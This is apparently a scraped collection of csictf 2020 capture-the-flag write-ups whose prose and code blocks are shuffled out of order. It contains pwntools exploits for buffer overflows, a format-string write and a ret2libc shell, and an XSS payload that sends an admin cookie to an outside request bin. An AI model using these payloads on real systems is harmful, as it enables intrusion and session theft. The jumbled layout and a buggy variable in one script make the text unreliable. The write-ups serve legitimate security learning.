arrow-left

All pages
gitbookPowered by GitBook
1 of 27

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Pirates of the Memorial

The original photographer of this picture commented the flag on his post. Find the flag.

Good old Ironstone found the picture in . The comments mention that Arunopal Banerjee is the actual photographer; visiting the we find the picture posted, and the flag is in the .

Flag: csictf{pl4g14r1sm_1s_b4d}

this tweetarrow-up-right
instagram accountarrow-up-right
commentsarrow-up-right

AKA

Netcat into the given domain an port. Trying a bunch of different commands it appears that none of them do what you'd expect.

Running alias shows that there are different aliases for commands which let you open files. Instead of trying to figure them all out I converted the flag.txt file to base64 with base64 flag.txt. Then it was a simple matter of copying the output and decoding it (I used ).

cyberchefarrow-up-right

Linux

csictf

csictf ran from 17/07/2020 to 21/07/2020.

No DIStractions

Very easy misc challenge.

  • Join the discord server

  • Run .flag

  • Bot says to dm and then deletes your message

  • Simply message the bot with .flag and you get the flag from the bot.

Crypto

OSINT

Miscellaneous

Commitment

Hoshimaseok is up to no good. Track him down.

A quick google of the user hoshimaseok leads us to a GitHub page, found herearrow-up-right.

We see two repositories, one called SomethingFishy. Fishy it looks indeed.

A quick glance inside this repo reveals nothing. However considering the title, Commitment, maybe there is a commit somewhere with the flag.

We can see that there are two branches - master and dev. Upon clicking compare, we see that there have indeed been many changes to this repo.

Scrolling through these, you will find the flag in index.js, which was deleted.

The contents of index.js are as follows:

Flag: csictf{sc4r3d_0f_c0mm1tm3nt}

API_KEY = randomapi
FLAG = csictf{sc4r3d_0f_c0mm1tm3nt}

Oreo

My nephew is a fussy eater and is only willing to eat chocolate oreo. Any other flavour and he throws a tantrum.

Nice and simple web challenge.

Looking at the cookie of the webpage it appears to base64 encoded.

Encode the word "chocolate" into base64 then replace the current base64 in the cookie. The only thing to note is make sure that the base64 is also url encoded.

Reversing

Global Warming

Greta Thunberg 1 Administration 0

hashtag
Analysis

This was a different type of binary exploitation challenge. First, check the protections.

Much like the others. Let's run it.

So our input is sent back to us, along with the notice that we cannot log in with input. As we control the print, let's check if there's a format string bug.

And indeed there is. Interestingly, there's no buffer overflow. Let's decompile it to see what's going on.

main is very simple - takes in input (using a secure fgets(), explaining why there was no BoF) and passes the input to the login() function.

Input it printed back to us, as we saw, with printf. This causes the format string. The interesting part is it checks the global admin variable before printing the flag.

Clearly, we have to overwrite the admin variable somehow. To do this, we're going to have to leverage the format string %n specifier for an arbitrary write.

%n takes a pointer to a signed int, where the number of characters written so far is stored. Because we can control certain aspects of the stack (as the buffer is on the stack) we can tell it where to write the data. As we can control the input, we can tell it how much. This gives us an arbitrary write. If we want to write 20 bytes somewhere, we input 20 characters and then call %n. We can even use other fancy format string specifiers to shorten it enough,

I would explain how to leverage this in detail, but frankly, others have done so much, much better than me :)

There are plenty more resources online.

hashtag
Exploitation

Luckily for us, pwntools contains a feature to automate %n exploitation.

circle-exclamation

You should understand how the exploit works before you use tools to do it for you.

The pwntools module is fmtstr_payload, and takes in two values: the offset for the format string and a dictionary. The keys in the dictionary are the location to write to, and the values are the data to write there.

Flag: csictf{n0_5tr1ng5_@tt@ch3d}

Blaise

I recovered a binary from my teacher's computer. I tried to reverse it but I couldn't.

hashtag
Analysis

hashtag
File Info

The Confused Deputy

Looking at the source you can see that a request is made to http://chall.csivit.com:30256/view by the admin to view your colour. You can then specify a URL and a colour for the admin to use.

I set up a request bin at https://ennfyqj04serj.x.pipedream.net so that I easily could monitor requests made to that URL. But setting the URL that the admin visits to anything outside of http://chall.csivit.com:30256/view seemed to throw an error. However I can set the colour to anything I like.

Looking at the source of http://chall.csivit.com:30256/ it is clear that the only form of sanitising is that "<" or ">" are replaced with "". This means that later on I could use ">>" in the place of ">" and "<<" in the place of "<".

Flying Places

A reporter wanted to know where this flight is headed. Where does he (the reporter) live?

Google image search reveals a screenshot of a tweet by Jack Ma containing the image. If we go onto his profile and find the tweetarrow-up-right. Using Ctrl-F through the replies, we find this commentarrow-up-right of a reporter asking where the flight is headed, mentioning they're from San Francisco.

Flag: csictf{san_francisco}

Web

Pwn

Rivest-Shamir-Adleman

These 3 guys encrypted my flag, but they didn't tell me how to decrypt it.

The source is as follows:

n = 408579146706567976063586763758203051093687666875502812646277701560732347095463873824829467529879836457478436098685606552992513164224712398195503564207485938278827523972139196070431397049700119503436522251010430918143933255323117421712000644324381094600257291929523792609421325002527067471808992410166917641057703562860663026873111322556414272297111644069436801401012920448661637616392792337964865050210799542881102709109912849797010633838067759525247734892916438373776477679080154595973530904808231
e = 65537
c = 226582271940094442087193050781730854272200420106419489092394544365159707306164351084355362938310978502945875712496307487367548451311593283589317511213656234433015906518135430048027246548193062845961541375898496150123721180020417232872212026782286711541777491477220762823620612241593367070405349675337889270277102235298455763273194540359004938828819546420083966793260159983751717798236019327334525608143172073795095665271013295322241504491351162010517033995871502259721412160906176911277416194406909

Rivest-Shamir-Adleman is the full name for RSAarrow-up-right, a public-key cryptosystem widely used. You'll come across it many times in CTFs.

Now you can either try to break it manually, or use the great tool RsaCtfToolarrow-up-right.

I decided to cheese it and use RsaCtfTool.

Simply inputting the values as so, we get our flag:

./RsaCtfTool.py -n 408579146706567976063586763758203051093687666875502812646277701560732347095463873824829467529879836457478436098685606552992513164224712398195503564207485938278827523972139196070431397049700119503436522251010430918143933255323117421712000644324381094600257291929523792609421325002527067471808992410166917641057703562860663026873111322556414272297111644069436801401012920448661637616392792337964865050210799542881102709109912849797010633838067759525247734892916438373776477679080154595973530904808231 -e 65537 --uncipher 226582271940094442087193050781730854272200420106419489092394544365159707306164351084355362938310978502945875712496307487367548451311593283589317511213656234433015906518135430048027246548193062845961541375898496150123721180020417232872212026782286711541777491477220762823620612241593367070405349675337889270277102235298455763273194540359004938828819546420083966793260159983751717798236019327334525608143172073795095665271013295322241504491351162010517033995871502259721412160906176911277416194406909

csictf{sh0uld'v3_t4k3n_b1gg3r_pr1m3s}

The final exploit looked like the following:

Everything before and including the first semi-colon is used to escape the tags/quotes which the url is in.

The admin cookie is then sent to https://ennfyqj04serj.x.pipedream.net/?c="+document.cookie and the cookie is your flag.

}<</style>>`;<<img src=x onerror=document.location="https://ennfyqj04serj.x.pipedream.net/?c="+document.cookie;>>
Running
file blaise
gives us this output:

Important thing here is it isn't stripped, that it is dynamically linked, and it's 64-bit, which will make the rev easier.

hashtag
Running the file

When we first run the file, we are given a two digit number, like so:

And we are promted for input. Inputting letters seems to end it, however typing a number keeps it running, and we can enter more:

hashtag
Ghidra

Let's throw it into ghidra to see the pseudo-c code of the file. I've prepared the decompilation by renaming functions and variable already. Here's what our main function looks like:

However there isn't much useful info here, although we know that it calls the functions display_number and process

Let's decompile display_number:

We see here that it basically:

  • generates a random number between 15 and 20 (0xf and 0x14)

  • prints it

  • returns it

Let's decompile process now:

This is most important function, and a lot is going on here:

  • Firstly, we basically create a for loop using counter and the random number as the end

  • Then we read the input with scanf

  • Then with counter, and random number, we call another function called c, and output is stored in output. We'll come back to this in a bit

  • Then it compares this output with our input, and if they aren't equal it sets flagcheck to false

  • Increments counter, and starts loop again

  • Finally, at the end, it checks if flagcheck is true, if it is, it gives us the flag

So, in order to do this challenge, we need to write a script that constantly gives a number to the program, that equals the output of c, then reads the flag

hashtag
function c

Let's decompile c:

So it makes 3 variables, using the f function, and then returns a value based on those 3.

Lets' decompile f:

Just does some maths with the provided number.

hashtag
Scripting

To convert our two numbers (random and counter) to what is needed of the program, we'll port these functions to python, like so:

Using these, and pwntools, we can write our final script, like so:

Flag: csictf{y0u_d1sc0v3r3d_th3_p4sc4l's_tr14ngl3}

LiveOverflow - Format String with %narrow-up-right
Format String Vulnerabilityarrow-up-right

RicknMorty

Rick has been captured by the council of ricks and in this dimension Morty has to save him, the chamber holding Rick needs a key . Can you help him find the key?

hashtag
Analysis

First, let's see what running the program does.

circle-info

The pairs of numbers are the program, the singular numbers are me typing back to it.

There's nothing particularly clear here, so let's disassemble it in GHidra.

It looks very complicated, but we can ignore the bulk of it. What we need to focus on is the random number generation and what happens to it.

Two random numbers are generated. They are passed into function1, then we +3 to the result and pass it through function2. The result of that is then compared with the number we input. If they are not the same, the check is set to 0.

At the end, if it's not 1 (and if takes under 30 seconds) the flag is read. So clearly we have to receive the numbers, work out what it does and then return the values (repeatedly) to get the flag.

Let's check what the two functions do.

hashtag
function1

We have a counter that loops until it is greater than a number; if both numbers are divisible by the counter the answer gets set to counter - this is clearly some sort of highest common factor function.

hashtag
function2

This looks like a weird function, but if you write it in, say, python, it's much clearer what it does:

This is a factorial function.

Now we know what it does, the flow is simple:

And we can write a script that does this for us.

hashtag
Solution

Flag: csictf{h3_7u2n3d_h1m531f_1n70_4_p1ck13}

Pwn Intended 0x3

Again, smashing the keyboard doesn't work. Sadly. Let's check out the protections:

hashtag
Analysis

Again, smashing the keyboard doesn't work. Sadly. Let's check out the protections.

Same thing again, GHidra decompilation time.

Again, gets() shows a clear buffer overflow vulnerability. Among other functions there is a flag() function.

So, calling flag() returns the flag. Unsurprisingly.

hashtag
Exploitation

We'll be using the buffer overflow vulnerability to redirect code execution to the flag() function. Some experimenting shows a padding of 40 bytes is needed to overwrite RIP.

Flag: csictf{ch4lleng1ng_th3_v3ry_l4ws_0f_phys1cs}

Mein Kampf

Googling M4 UKW, we find out this is a type of enigmaarrow-up-right. M4 means there are 4 rotors; Gamma is the setting for the first rotor; the preceding 4 pairs of numbers are position and ring values respectively and the string of letters at the end are the plugboard values.

This leaves us with almost everything needed to decrypt the ciphertext. However, we are not given the values for rotors 2, 3 or 4; they can be in any position from I to VIII, so bruteforcing this we get the following:

Rotor 2 = I
Rotor 3 = IV
Rotor 4 = VII

Using this websitearrow-up-right, we get the flag:

Flag: csictf{no_shit_sherlock}

Pwn Intended 0x2

Travelling through spacetime!

hashtag
Analysis

Sadly, we can't just smash the keyboard. Let's check what protections are enabled.

NX is enabled, so unfortunately no shellcode, but no other protections. Let's perhaps decompile it in GHidra.

So we have a 44-byte-long buffer storing our input, which is read by gets() - a clear buffer overflow vulnerability. Interestingly, the program seems to also return the flag if the if condition is met. I've known GHidra to make mistakes with numbers, so I check the disassembly in radare2.

hashtag
Exploitation

As we can see, the buffer our input is stored in is lower down the stack to the variable that is compared, so if we overflow the buffer we will overflow into the other variable. From the decompilation we know the buffer is 44 bytes long, so we need 44 bytes of padding before we reach the checked variable and write 0xcafebabe.

Flag: csictf{c4n_y0u_re4lly_telep0rt?}

blaise: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=00fb13e98a303dff4159e894942e363208415ba1, for GNU/Linux 3.2.0, not stripped
$ ./blaise
15
$ ./blaise
19
12
24
a
$
def f(num):
	ret = 1
	counter = 2
	while counter <= num:
		ret *= counter
		counter += 1
	return ret

def c(ran, counter):
	num1 = f(ran)
	num2 = f(counter)
	num3 = f(ran - counter)
	return num1 / (num2 * num3)
from pwn import *
from sys import argv

if argv[1] == "r": 
	p = remote("chall.csivit.com", 30808)
else:
	e = ELF("./blaise")
	p = e.process()


rand = int(p.recvline())  # Recieves random number
log.info(f"random number: {rand}")

def f(num):
	ret = 1
	counter = 2
	while counter <= num:
		ret *= counter
		counter += 1
	return ret

def c(ran, counter):
	num1 = f(ran)
	num2 = f(counter)
	num3 = f(ran - counter)
	return num1 / (num2 * num3)

for i in range(0, rand + 1):
	data = int(c(rand, i))  # Gets required number
	p.sendline(str(data))   # Sends
	flag = p.clean()
	if flag:  # I was lazy :p
		log.info(f"flag is: {flag.decode()}")
		exit()
from pwn import *

elf = ELF('./vuln')
p = remote("chall.csivit.com", 30023)

admin = elf.symbols['admin']
value = 0xb4dbabe3                              # this is the needed admin value

payload = fmtstr_payload(12, {admin : value})

p.sendline(payload)

print(p.clean().decode())

Shaken

I love this watch. It's been with me all over the world, from Istanbul to Shanghai
to Macau. I wear it with suits quite a lot. My boss liked it too. I remember
wearing it when she died. What is her successor's name?

I googled some of the keywords from the challenge brief

istanbul shanghi macau suits

In the results pictures of James Bond showed up, James Bond's most recent boss (known as M) is called Gareth Mallory.

Flag: csictf{gareth_mallory}

from pwn import *

elf = ELF('./vuln')
p = remote('chall.csivit.com', 30013)

payload = b'A' * 40
payload += p64(elf.symbols['flag'])

p.clean()
p.sendline(payload)

print(p.clean(2).decode())
from pwn import *

p = remote('chall.csivit.com', 30007)

payload = b'A' * 44
payload += p32(0xcafebabe)

p.sendline(payload)

print(p.clean().decode())
int main(void)
{
  int random;
  time_t tVar1;
  long result;
  long input;
  time_t local_40;
  time_t local_38;
  time_t local_30;
  long number2;
  long number1;
  char *time_to_execute;
  int counter;
  int check;
  
  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  tVar1 = time(&local_30);
  srand((uint)tVar1);
  time(&local_38);
  check = 1;
  counter = 0;
  while( true ) {
    random = rand();
    if (random % 3 + 4 < counter) break;
    random = rand();
    number1 = (long)(random % 10 + 6);
    random = rand();
    number2 = (long)(random % 10 + 6);
    printf("%d %d\n",number1,number2);
    __isoc99_scanf(&DAT_0040200f,&input);
    result = function1(number1,number2);
    result = function2(result + 3);
    if (result != input) {
      check = 0;
    }
    counter = counter + 1;
  }
  time(&local_40);
  time_to_execute = (char *)(double)(local_40 - local_38);
  printf(time_to_execute,"fun() took %f seconds to execute \n");
  if ((check != 1) || (30.00000000 < (double)time_to_execute)) {
    printf("Nahh.");
  }
  else {
    puts("Hey, you got me!");
    system("cat flag.txt");
  }
  return 0;
}
number1 = (long) (random % 10 + 6);
random = rand();
number2 = (long) (random % 10 + 6);
printf("%d %d\n", number1, number2);
__isoc99_scanf(&DAT_0040200f, &input);
result = function1(number1, number2);
result = function2(result + 3);
if (result != input) {
    check = 0;
}
if ((check != 1) || (30.00000000 < (double)time_to_execute)) {
    printf("Nahh.");
}
else {
    puts("Hey, you got me!");
    system("cat flag.txt");
}
long function1(long num1,long num2)

{
  int counter;
  int answer;
  
  answer = 0;
  counter = 1;
  while ((counter <= num1 || (counter <= num2))) {
    if ((num1 % (long) counter == 0) && (num2 % (long) counter == 0)) {
      answer = counter;
    }
    counter = counter + 1;
  }
  return (long)answer;
}
long function2(long number)
{
  long lVar1;
  
  if (number == 0) {
    lVar1 = 1;
  }
  else {
    lVar1 = function2(number - 1);
    lVar1 = lVar1 * number;
  }
  return lVar1;
}
def function2(number):
    if number == 0:
        return 1
    
    return number * function(number - 1)
two numbers -> highest common factor -> +3 -> factorial -> compared to input
from pwn import *
from numpy import gcd
import numpy

p = remote('chall.csivit.com', 30827)

while True:
    try:
        num1, num2 = map(int, p.recvline().decode().split()) # Cast and assign the two numbers
        log.info(f'{num1} {num2}')
    
        hcf = gcd(num1, num2)
        log.success(f'HCF of {num1} and {num2} is {hcf}')

        fact = numpy.math.factorial(hcf + 3)
        log.success(f'Factorial of {hcf + 3}: {fact}')
    
        p.sendline(f'{fact}')
    except ValueError:
        # If it's ValueError it can't be cast to an int, so we've received the flag
        break

print(p.clean(1).decode())

Smash

My first C program that says hello, do you want to try it?

Smash was a very cool challenge where you were given the libc version used by the binary. You had to bypass ASLR and then execute a ret2libc attack.

hashtag
Analysis

As per usual, run a quick checksec

Luckily for us, PIE is disabled and there is no canary. That makes our job much easier. Let's run it and see what happens.

Hmm, our input is printed back to us again. Is there another format string bug?

Indeed there is! Is a BoF possible this time?

Awesome.

There's nothing particularly interesting in the decompilation - main takes input and calls say_hello, which prints back to you.

No interesting strings either. As we are given the libc, everything points to a good old ret2libc attack.

hashtag
Exploitation

As we only had one input, the logical approach would be to use a ret2plt to leak the address of puts in libc from the and call main again to let us have another input.

Flag: csictf{5up32_m4210_5m45h_8202}

global offset tablearrow-up-right
from pwn import *

elf = context.binary = ELF('./hello')

# Adapt for remote
if args.REMOTE:
    libc = ELF('./libc-remote.so')
    p = remote('chall.csivit.com', 30046)
else:
    libc = elf.libc
    p = elf.process()


# ret2plt
p.clean(1)

payload = flat(
    b'A' * 136,
    elf.plt['puts'],
    elf.symbols['main'],        # 32-bit - return address comes directly after the function call
    elf.got['puts']             # Parameter comes after the return address
)

p.sendline(payload)

p.recvline()                    # This is the 'Hello, <>!' string - we don't need this

puts_libc = u32(p.recv(4))      # The puts call. We only need the first 4 bytes (the GOT entry of puts)
log.success(f'Puts@LIBC: {hex(puts_libc)}')

libc.address = puts_leak - libc.symbols['puts']
log.success(f'Libc base: {hex(libc.address)}')

p.clean(1)

# Final ret2libc
payload = flat(
    b'A' * 136,
    libc.symbols['system'],
    libc.symbols['exit'],
    next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)
p.interactive()

Mr. Rami

"People who get violent get that way because they can’t communicate."

Navigating to /robots.txt, we see:

# Hey there, you're not a robot, yet I see you sniffing through this file.
# SEO you later!
# Now get off my lawn.

Disallow: /fade/to/black

Navigating to /fade/to/black, we get the flag.

Flag: csictf{br0b0t_1s_pr3tty_c00l_1_th1nk}

Secret Society

Wanna enter the Secret Society? Well you have to find the secret code first!

Again, smash the keyboard.

Flag: csivit{Bu!!er_e3pl01ts_ar5_5asy}

Pwn Intended 0x1

I really want to have some coffee!

Smash the keyboard.

Flag: csictf{y0u_ov3rfl0w3d_th@t_c0ff33_l1ke_@_buff3r}

hashtag
Scripting it

I guess if you really want to, you could...

python -c 'print "A" * 200' | nc chall.csivit.com 30001

hashtag
Pwntools

Ok this is pushing it a bit

from pwn import *

p = remote('chall.csivit.com', 30001)

p.sendline('A' * 200)

print(p.clean().decode())